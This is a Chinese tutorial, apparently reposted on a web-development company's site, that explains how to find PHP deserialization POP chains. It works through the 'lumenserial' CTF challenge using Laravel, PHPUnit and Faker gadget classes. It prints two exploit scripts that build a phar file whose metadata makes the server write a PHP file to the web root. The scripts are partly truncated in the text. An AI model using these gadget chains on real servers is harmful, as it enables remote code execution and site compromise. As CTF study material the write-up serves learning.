十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
本篇文章为大家展示了PHP反序列化中怎样寻找POP链,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
我们提供的服务有:网站设计制作、网站制作、微信公众号开发、网站优化、网站认证、五通桥ssl等。为近1000家企事业单位解决了网站和推广的问题。提供周到的售前咨询和贴心的售后服务,是有科学管理、有技术的五通桥网站制作公司
以 code-breaking中 lumenserial为例,练习PHP反序列化 POP链的寻找。
我们直接搜索 'function dispatch(',发现有一个 Dispatcher类的 dispatchToQueue方法中调用的 call_user_func函数两个参数都可控,而且 dispatch中调用了 dispatchToQueue方法,代码如下:
从代码中我们可以看到,只要传入的 $command变量是 ShouldQueue类的实例即可。通过搜索,我们会发现 ShouldQueue是一个接口,那么我们找到其实现类即可。直接搜索 'implements ShouldQueue',我们随便选取一个实现类即可,这里我选用 CallQueuedClosure类,相关代码如下:
现在 call_user_func函数的两个参数都可控,又变成了我们可以调用任意对象的任意方法了,这样我们有可以利用上篇文章中的方法,调用 ReturnCallback类的 invoke方法,并传入 StaticInvocation类的对象作为参数,形成整个完整的 POP链,利用 exp如下:
events = $events; $this->event = $event; } } class BroadcastEvent{ public $connection; public function __construct($connection) { $this->connection = $connection; } } }; namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback { private $callback; public function __construct($callback) { $this->callback = $callback; } } }; namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ private $parameters; public function __construct($parameters){ $this->parameters = $parameters; } } }; namespace Illuminate\Bus{ class Dispatcher{ protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } }; namespace{ $function = 'file_put_contents'; $parameters = array('/var/www/html/11.php',''); $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters); $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation); $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function); $dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke')); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent); $o = $pendingbroadcast; $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); }; ?>
我们再通过下面这张图片,来理清整个 POP链的调用过程。
接下来这个 POP链思路是参考 这篇 文章,寻找 POP链的思路还是从 dispatch方法入手。在上篇文章中,我们发现第一个 RCE走了 Generator类的 __call方法,这个方法作为 POP链中的一部分极其好用,因为 call_user_func_array方法中的两个参数完全可控。我们只要找到方法中存在形如 this->$object->$method($arg1,$arg2),且 $object、 $method、 $arg1、 $arg2四个参数均可控制,那么就可以利用这个 Generator类的 __call方法,最终调用 call_user_func_array('file_put_contents',array('1.php','xxx'))。
我们继续搜索 dispatch,会发现一个 TraceableEventDispatcher类的 dispatch方法,其代码如下:
我们发现其调用了 preProcess方法,传入的 $eventName变量是可控的,我们跟进该方法, 具体代码如下:
可以看到我们得让 $this->dispatcher->hasListeners($eventName)返回 true,否则返回的空值对我们无用。然后 第12行的 getListeners方法返回的值得是一个数组,这样我们才能进入 foreach结构里。之所以要进到 foreach结构里,是因为我们在 第16行看到了 $this->dispatcher->removeListener($eventName, $listener),结构形如: this->$object->$method($arg1,$arg2),前三个参数可以按照如下构造:
this->$object = new Faker\Generator(); this->$object->$method = 'removeListener'; arg1 = '/var/www/html/1.php'; this->formatters['removeListener'] = 'file_put_contents';
这样子构造之后,执行到 $this->dispatcher->removeListener($eventName, $listener)时,就会调用 Generator类的 __call方法,继而执行 call_user_func_array('file_put_contents',array('/var/www/html/upload/1.php',$listener)),所以我们只要再确保第四个参数 $listener可控即可。
现在我们再回到上面 第6行的 if语句,我们需要先绕过这个判断条件。该代码会调用 Faker\Generator类的 hasListeners方法,进而触发 __call方法,那么我们只要将 this->formatters['hasListeners']设置成 'strlen'即可,之后就会调用 call_user_func_array('strlen','var/www/html'),这样就可以绕过 if语句。
j接着我们再回到 foreach语句,继续搜索可利用的 getListeners方法,看看是否可以返回一个可控数组(返回数组才能进入 foreach语句)。通过搜索,我们会发现一个 Dispatcher类的 getListeners符合我们的要求,其具体代码如下:
此时 $eventName是我们传入的 '/var/www/html/upload/1.php',很明显上面的代码中可以返回一个数组,而且数组的值完全可控。
刚才 foreach中的 $this->dispatcher->getListeners()调用的是 Faker\Generator类的 getListeners方法,现在我们要想办法让它调用 Dispatcher类的 getListeners方法。我们再看一下刚才 Generator的调用流程图:
可以看到只要我们将 this->providers设置为 array(Dispatcher类)即可,之后的调用就类似于 call_user_func_array(array(Dispatcher类,'getListeners'),'/var/www/html/1.php')。
现在基本完成了整个利用链,不过在执行到 $this->dispatcher->removeListener($eventName, $listener)之前,还有一些额外的代码需要执行,我们要确保这些代码不会影响我们下面的方法,所以我们需要继续看 foreach下面的代码(这里说的是 TraceableEventDispatcher类 preProcess方法中的 foreach)。
我们看到其调用了本类的 getListenerPriority方法,具体代码如下:
我们看到 第16行,返回 $this->dispatcher->getListenerPriority($eventName, $listener),简直完美。我们可以不用执行到刚才的 removeListener方法,直接到这里就可以完成整个 POP链了。最终的利用 exp如下:
listeners[$parameter['filename']] = array($parameter['contents']); } } }; namespace Faker{ class Generator{ protected $providers; protected $formatters; public function __construct($providers,$formatters){ $this->providers = $providers; $this->formatters = $formatters; } } }; namespace Symfony\Component\EventDispatcher\Debug{ class TraceableEventDispatcher{ private $dispatcher; public function __construct($dispatcher){ $this->dispatcher = $dispatcher; } } }; namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $parameter){ $this->events = $events; $this->event = $parameter['filename']; } } } namespace { $function = 'file_put_contents'; $parameters = array('filename' => '/var/www/html/1.php','contents' => ''); $dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function); $generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]); $traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters); $o = $pendingbroadcast; $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行 file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89asetMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); } ?>
我们再通过下面这张图片,来理清整个 POP链的调用过程。
上述内容就是PHP反序列化中怎样寻找POP链,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注创新互联行业资讯频道。